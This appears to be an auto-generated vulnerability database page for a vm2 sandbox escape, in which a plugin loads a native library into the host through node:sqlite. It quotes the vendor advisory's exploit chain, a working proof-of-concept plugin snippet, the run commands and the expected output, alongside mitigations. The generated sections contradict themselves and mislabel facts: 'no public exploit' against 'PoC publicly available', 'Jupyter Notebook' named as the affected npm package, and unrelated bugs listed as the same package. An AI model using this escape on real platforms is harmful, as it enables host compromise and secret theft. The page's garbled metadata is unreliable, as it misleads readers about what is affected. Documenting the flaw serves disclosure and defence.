CVE-2026-92938: vm2: node:sqlite sandbox escape allows native code RCE
GHSA-6w8r-xxw2-g3hxCRITICALPoC AVAILABLECISA: ATTENDvm2 is a Node.js sandbox library. Versions 3.11.3 to 3.11.6 let untrusted code load a native library into the host process through the node:sqlite builtin, which gives it full escape from the sandbox. The CVSS score is 9.9 (critical, scope changed) and about 3,047 packages depend on vm2. Exposure is conditional, though: it only applies when a platform runs untrusted plugins in NodeVM and allows node:sqlite explicitly or via builtin: ['*']. EPSS is low (0.6%, roughly the 52nd percentile), it is not in CISA KEV, there is no public exploit or Nuclei template, and CISA SSVC says ATTEND. This is not an emergency for most organizations, but it is serious for AI plugin, agent-tool, notebook or code-runner platforms that treat vm2 as their isolation boundary. Upgrade to vm2 3.11.7 now. Until you can, remove node:sqlite and the '*' wildcard from the builtin allowlist, and review which dependencies pull in vm2. vm2 also has 62 other CVEs, so treat it as a weak long-term boundary.
What is the risk?
Technical severity is critical: a network attacker with low privileges (supplying a plugin) gets arbitrary native code execution with the host process's privileges, and scope changes because the sandbox boundary is broken. Practical likelihood is moderate to low. Exploitation requires that the host allows node:sqlite (explicitly or through a wildcard), that the attacker can place a native library alongside the plugin, and that the host runs the plugin in NodeVM. EPSS is 0.00616, with no KEV listing, no public exploit and no scanner template. Package health is mixed: OpenSSF Scorecard 5.8/10, package risk 32/100, 62 prior CVEs (many are sandbox escapes), and active maintenance (last push 2026-09-28). Confidence: HIGH on the technical facts, MEDIUM on real-world exposure since it depends on configuration.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Jupyter Notebook | npm | >= 3.11.3, <= 3.11.6 | 3.11.7 |
Do you use Jupyter Notebook? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step1) Upgrade vm2 to 3.11.7 or later (fix commit aa146a77). Check transitive dependencies with npm ls vm2 and update or override them. 2) Until patched, remove node:sqlite from require.builtin and stop using builtin: ['*']; use an explicit minimal allowlist. 3) Do not rely on vm2 as the only isolation for untrusted code. Run untrusted plugins in separate processes or containers (gVisor, Firecracker, isolated-vm with strict limits) as an unprivileged user, with no secrets in the environment and restricted egress. 4) Block plugin packages that contain native binaries (.so, .dylib, .dll, .node) and scan uploads for them. 5) Detection: look for requires of 'node:node:sqlite', calls to loadExtension, and unexpected shared-library loads or child processes from the Node host (EDR, auditd, lsof on the process). 6) Rotate secrets reachable by any host that ran untrusted plugins with node:sqlite enabled.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-92938?
vm2 is a Node.js sandbox library. Versions 3.11.3 to 3.11.6 let untrusted code load a native library into the host process through the node:sqlite builtin, which gives it full escape from the sandbox. The CVSS score is 9.9 (critical, scope changed) and about 3,047 packages depend on vm2. Exposure is conditional, though: it only applies when a platform runs untrusted plugins in NodeVM and allows node:sqlite explicitly or via builtin: ['*']. EPSS is low (0.6%, roughly the 52nd percentile), it is not in CISA KEV, there is no public exploit or Nuclei template, and CISA SSVC says ATTEND. This is not an emergency for most organizations, but it is serious for AI plugin, agent-tool, notebook or code-runner platforms that treat vm2 as their isolation boundary. Upgrade to vm2 3.11.7 now. Until you can, remove node:sqlite and the '*' wildcard from the builtin allowlist, and review which dependencies pull in vm2. vm2 also has 62 other CVEs, so treat it as a weak long-term boundary.
Is CVE-2026-92938 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-92938, increasing the risk of exploitation.
How to fix CVE-2026-92938?
1) Upgrade vm2 to 3.11.7 or later (fix commit aa146a77). Check transitive dependencies with npm ls vm2 and update or override them. 2) Until patched, remove node:sqlite from require.builtin and stop using builtin: ['*']; use an explicit minimal allowlist. 3) Do not rely on vm2 as the only isolation for untrusted code. Run untrusted plugins in separate processes or containers (gVisor, Firecracker, isolated-vm with strict limits) as an unprivileged user, with no secrets in the environment and restricted egress. 4) Block plugin packages that contain native binaries (.so, .dylib, .dll, .node) and scan uploads for them. 5) Detection: look for requires of 'node:node:sqlite', calls to loadExtension, and unexpected shared-library loads or child processes from the Node host (EDR, auditd, lsof on the process). 6) Rotate secrets reachable by any host that ran untrusted plugins with node:sqlite enabled.
What systems are affected by CVE-2026-92938?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, plugin/tool marketplaces, LLM code-execution sandboxes, workflow automation, multi-tenant code runners, notebook services.
What is the CVSS score for CVE-2026-92938?
CVE-2026-92938 has a CVSS v3.1 base score of 9.9 (CRITICAL). The EPSS exploitation probability is 0.62%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001AI SoftwareAML.T0011.001Malicious PackageAML.T0105Escape to HostCompliance Controls Affected
What are the technical details?
Original Advisory
### Summary vm2 3.11.6 exposes Node.js's host `node:sqlite` module to `NodeVM` code when that builtin is allowed explicitly or through `builtin: ['*']`. The module is wrapped as read-only, but callable methods retain host-process authority. A sandboxed plugin can construct an in-memory database with extension loading enabled and call `DatabaseSync.loadExtension()` on a native library bundled in the plugin directory. SQLite loads the library into the Node.js host process and invokes its native extension entry point. This gives the untrusted plugin arbitrary native code execution outside the sandbox. The exploit needs only the `node:sqlite` builtin and a compatible native library already present in the untrusted plugin package. It does not require `fs`, `process`, `module`, `child_process`, `worker_threads`, `vm`, `inspector`, vm2 nesting, or an existing database file. ### Details The vulnerable boundary spans the builtin inventory, resolver, runtime loader, and generic read-only wrapper. On current Node.js versions, the builtin inventory contains the literal name `node:sqlite`. vm2 admits that name when it is explicitly configured or when the wildcard allowlist is expanded: ```js const BUILTIN_MODULES = module.builtinModules.filter(/* denylist checks */); ``` The resolver then treats every request beginning with `node:` as a core-module request, even if the complete request string is not an allowlist key: ```js if (x.startsWith('node:') || this.builtins.has(x)) { return x; } ``` The sandbox runtime removes exactly one `node:` prefix and looks up the remainder in the configured builtin map: ```js if (filename.startsWith('node:')) { id = filename.slice(5); return loadBuiltinModule(id); } ``` Consequently, the sandbox spelling below resolves to the configured map entry `node:sqlite`: ```js require('node:node:sqlite') ``` The default builtin loader imports the real module in the host realm and exposes it through `vm.readonly()`: ```js builtins.set(key, vm => vm.readonly(hostRequire(key))); ``` Read-only wrapping prevents property assignment. It does not remove dangerous callable capabilities. Calls to `DatabaseSync` and `loadExtension()` are forwarded to the host implementation. The complete exploit flow is: ```text attacker supplies an untrusted plugin package containing JavaScript and a native library -> host runs the JavaScript in NodeVM with node:sqlite allowed -> plugin resolves the host module as node:node:sqlite -> plugin creates an in-memory DatabaseSync with allowExtension enabled -> plugin derives the bundled library path from its own __dirname -> plugin calls database.loadExtension(libraryPath) -> vm2 forwards the call to host SQLite -> SQLite loads the library into the Node.js host process -> SQLite invokes the library's native extension entry point -> attacker native code executes with the host process's privileges ``` The path does not need to be read through a sandboxed filesystem API. CommonJS already supplies the plugin's own directory, so an attacker can concatenate `__dirname` with the known name of a bundled library. The host necessarily places the untrusted plugin package on disk before evaluating its JavaScript. ### PoC The attached PoC is local and harmless. Its native extension entry point writes one marker file and returns success. It does not launch a process, connect to a network service, or modify any other file. Prerequisites: macOS, Node.js with `node:sqlite`, npm, and a C compiler. 1. Open the attached `poc` directory. 2. Install the exact affected package: ```bash npm install --ignore-scripts ``` 3. Compile and run the proof: ```bash npm run poc ``` The script compiles `extension_probe.c` as `libvm2_sqlite_probe.dylib`, then runs `untrusted-plugin.js` in this restrictive configuration: ```js new NodeVM({ console: 'off', require: { builtin: ['node:sqlite'] }, }); ``` The sandboxed plugin performs only: ```js const { DatabaseSync } = require('node:node:sqlite'); const database = new DatabaseSync(':memory:', { allowExtension: true }); database.loadExtension(__dirname + '/libvm2_sqlite_probe.dylib'); database.close(); ``` A vulnerable result is: ```json { "sandboxResult": { "nativeExtensionLoaded": true, "usedOnlySQLiteBuiltin": true }, "markerExists": true, "markerText": "VM2_SQLITE_EXTENSION_ENTRYPOINT_EXECUTED" } ``` The marker is written from the compiled native extension entry point, not from JavaScript. `loadExtension()` also returns successfully, proving that SQLite both loaded the library and invoked its entry point. ### Impact This is a sandbox escape to arbitrary native code execution. The native code runs inside the Node.js host process with the operating-system identity and privileges of that process, beyond all vm2 JavaScript, module, and proxy restrictions. An attacker can replace the marker-only extension with native code that: - reads application secrets, credentials, environment variables, and files available to the host account; - modifies application data or executable files and establishes persistence; - accesses internal services using the host's network identity; - steals other tenants' data from the same process; - terminates or corrupts the host process; and - performs any other operating-system action permitted to the host account. The realistic affected workflow is a plugin platform, automation service, notebook, build service, or multi-tenant code runner that stores attacker-supplied package contents and evaluates the package's JavaScript in `NodeVM` while allowing `node:sqlite` or all builtins. The attacker does not need pre-existing host execution, a writable database, or a command-execution builtin.
Exploitation Scenario
An attacker publishes a plugin or agent tool to a platform that runs community extensions in vm2 with builtin: ['*']. The package contains a small JavaScript file and a precompiled native library. When the platform loads the plugin, the JavaScript calls require('node:node:sqlite'), opens an in-memory DatabaseSync with allowExtension enabled, and calls loadExtension on the bundled library using its own __dirname. SQLite loads the library into the Node.js host process and runs its entry point, so the attacker's native code reads environment variables (LLM API keys, database credentials), accesses other tenants' data in the same process, and installs persistence or pivots to internal services.
Weaknesses (CWE)
CWE-693 — Protection Mechanism Failure: The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:HReferences
- github.com/advisories/GHSA-6w8r-xxw2-g3hx
- github.com/patriksimek/vm2/commit/aa146a77f859325e079f3bfbfe6d8309af483daa
- github.com/patriksimek/vm2/releases/tag/v3.11.7
- github.com/patriksimek/vm2/security/advisories/GHSA-6w8r-xxw2-g3hx
- nvd.nist.gov/vuln/detail/CVE-2026-92938
- vulncheck.com/advisories/vm2-3.11.3-through-3.11.6-remote-code-execution-via-node-sqlite
Timeline
Related Vulnerabilities
CVE-2026-7281110.0SiYuan: SQL injection enables cross-notebook DB access
Same package: notebookCVE-2026-6908510.0SiYuan: SQL injection in searchDocs allows DB tampering
Same package: notebookCVE-2026-6908410.0SiYuan: SQL injection in search endpoint exposes notebooks
Same package: notebookCVE-2026-6908310.0SiYuan: unauthenticated SQLi in full-text search endpoint
Same package: notebookCVE-2026-11105710.0Mercury: regex blocklist bypass allows unauthenticated RCE
Same package: notebook